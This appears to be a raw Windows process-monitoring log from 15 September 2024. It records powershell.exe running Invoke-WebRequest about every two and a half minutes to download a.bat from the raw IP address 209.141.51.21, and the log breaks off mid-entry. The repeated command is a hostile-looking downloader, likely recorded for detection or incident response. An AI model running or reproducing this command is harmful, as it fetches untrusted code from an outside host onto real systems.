PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:20:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:23:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:25:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:28:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:30:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:33:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:35:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:38:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:40:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:43:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:45:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:48:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:50:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:53:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:55:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:58:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:00:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:03:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:05:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:08:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:10:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:13:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:15:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:18:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:20:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:23:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:25:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:28:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:30:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:33:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:35:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:38:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:40:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:43:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:45:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:48:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:50:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:53:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:55:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 06:58:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:00:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:03:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:05:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:08:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:10:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:13:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:15:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:18:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:20:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:23:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:25:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:28:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:30:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:33:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:35:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:38:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:40:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:43:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:45:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:48:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:50:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:53:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:55:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 07:58:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:00:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:03:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:05:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:08:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:10:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:13:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:15:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:18:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:20:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:23:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:25:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:28:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:30:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:33:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:35:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:38:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:40:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:43:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:45:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:48:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:50:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:53:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:55:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 08:58:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:00:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:03:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:05:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:08:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:10:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:13:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:15:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:18:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:20:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:23:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:25:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:28:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:30:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:33:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:35:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:38:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:40:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:43:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:45:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:48:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:50:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:53:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:55:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 09:58:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:01:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:03:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:06:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:08:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:11:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:13:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:16:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:18:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:21:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:23:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:26:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:28:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:31:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:33:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:36:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:38:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:41:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:43:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:45:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:48:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:50:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:53:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:55:52 NOTIFY: PROCESS 